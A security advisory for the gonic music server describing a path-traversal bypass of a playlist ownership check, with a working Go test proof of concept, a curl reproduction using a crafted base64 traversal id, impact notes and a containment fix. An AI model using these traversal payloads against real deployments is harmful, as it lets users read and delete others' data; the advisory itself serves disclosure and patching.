GHSA-2fp4-5v5c-4448 gonic: Path Traversal in playlist `id` bypasses ownership check, enabling any user to read/delete other users' playlists

• Go go.senan.xyz/gonic: < 0.21.0 → fixed in 0.21.0

Summary The maintainer's recent fix in `6dd71e6a3c966867ef8c900d359a7df75789f410` (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`) added an ownership check based on `playlist.UserID`. However, `playlist.UserID` is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path. Any authenticated Subsonic user can therefore bypass the ownership check and: 1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by `..` traversal segments pointing into another user's playlist directory. 2. Delete any other user's playlist (including admin's curated playlists) by the same trick against `deletePlaylist`. 3. Probe arbitrary file paths on the host for existence/readability. This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the `id` parameter rather than direct cross-user access). Root cause `server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode` performs raw base64 decode of the `id` parameter and passes the byte string straight to `playlistStore.Read/Delete`: ```go func playlistIDDecode(id specid.ID) string { path, _ := base64.URLEncoding.DecodeString(id.StringValue) return string(path) } ``` `playlist/playlist.go::Store.Read` then: ```go absPath := filepath.Join(s.basePath, relPath) // no containment check // ... playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2" if err != nil { playlist.UserID = 1 // fallback } ``` `userIDFromPath` reads only the first segment via `firstPathEl(relPath)` (`strconv.Atoi` of `strings.Split(path, "/")[0]`). It does not validate that the cleaned absolute path stays under `s.basePath`. The `id` parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like `"2/../..//playlist.m3u"` is preserved verbatim. `userIDFromPath` extracts `"2"` (the attacker's own user ID), `playlist.UserID = 2`, and the ownership check `playlist.UserID != user.ID && !playlist.IsPublic` becomes `2 != 2 && ...` → false → access allowed. Meanwhile `filepath.Join` resolves the `..` segments and escapes `basePath`. Affected code • `playlist/playlist.go:88-144` — `Store.Read` joins `relPath` with `basePath` without containment validation • `playlist/playlist.go:200-206` — `Store.Delete` (same pattern) • `playlist/playlist.go:208-220` — `userIDFromPath` / `firstPathEl` trust only the first path segment • `server/ctrlsubsonic/handlers_playlist.go:51-72` — `ServeGetPlaylist` ownership check • `server/ctrlsubsonic/handlers_playlist.go:182-202` — `ServeDeletePlaylist` ownership check • `server/ctrlsubsonic/handlers_playlist.go:209-212` — `playlistIDDecode` (no validation) Live PoC — passing Go test Drop this into `server/ctrlsubsonic/handlers_playlist_read_traversal_test.go` and run `go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v`: ```go package ctrlsubsonic import ( "fmt" "net/url" "os" "path/filepath" "testing" "github.com/stretchr/testify/require" ) func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) { f := newFixture(t) t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID) // Plant a sentinel M3U file outside the playlists directory. tmpDir := filepath.Dir(f.contr.musicPaths[0].Path) sentinelDir := filepath.Join(tmpDir, "sensitive") require.NoError(t, os.MkdirAll(sentinelDir, 0o755)) sentinelPath := filepath.Join(sentinelDir, "secret.m3u") require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret" GONIC-COMMENT:"sensitive content" GONIC-IS-PUBLIC:"false" `), 0o644)) // RAW string — playlistIDDecode does base64 only, no path cleaning. rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID) traversalID := playlistIDEncode(rawRel).String() // f.alt is the NON-ADMIN user. resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}}) t.Logf("resp: %s", string(resp)) require.Contains(t, string(resp), "victim-secret", "VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID) } ``` Test output against current `master` HEAD `6dd71e6`: ``` === RUN TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix alt user ID: 2, admin user ID: 1 resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true, "playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==", "name":"victim-secret","comment":"sensitive content","owner":"alt", "songCount":0,"created":"...","changed":"...","duration":0}}} --- PASS: TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix (0.06s) ``` The same approach against `ServeDeletePlaylist` (`f.contr.ServeDeletePlaylist`) deletes the targeted file. HTTP-level reproduction ```bash Attacker user (ID = N) reads target playlist owned by user M. Construct the raw rel path: "N/../M/.m3u" ATTACKER_ID=2 RAW='2/../1/shared.m3u' base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it) ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')" curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \ | python3 -m json.tool Response includes name, comment, IsPublic, and song list from the victim's playlist. ``` Impact • Confidentiality: Any authenticated user can read any other user's playlist content, including the private (`IsPublic=false`) playlists that the recent 6dd71e6 fix specifically tried to protect. • Integrity / Availability: Any authenticated user can delete any other user's playlists, including admin's curated lists. Same bypass technique works against `ServeDeletePlaylist`. • Trust boundary: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched. • Arbitrary file content read is *constrained* by gonic's M3U parser — only `#GONIC-NAME:` / `#GONIC-COMMENT:` attributes from the target file survive parsing. File-existence probing works against arbitrary paths. CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = 7.1 High Suggested fix Add path containment in `playlist/playlist.go` for `Store.Read`, `Store.Write`, and `Store.Delete` — reject any `relPath` that escapes `s.basePath` after `filepath.Join`: ```go func (s *Store) contained(relPath string) (string, error) { absPath := filepath.Join(s.basePath, relPath) rel, err := filepath.Rel(s.basePath, absPath) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return "", fmt.Errorf("path %q escapes playlist directory", relPath) } return absPath, nil } func (s *Store) Read(relPath string) (*Playlist, error) { defer lock(&s.mu)() if err := sanityCheck(s.basePath); err != nil { return nil, err } absPath, err := s.contained(relPath) if err != nil { return nil, err } // ... rest unchanged, using absPath } ``` Apply in `Write()` (line 153) and `Delete()` (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment. Credits Reported by Vishal Shukla (@shukla304 / @therawdev).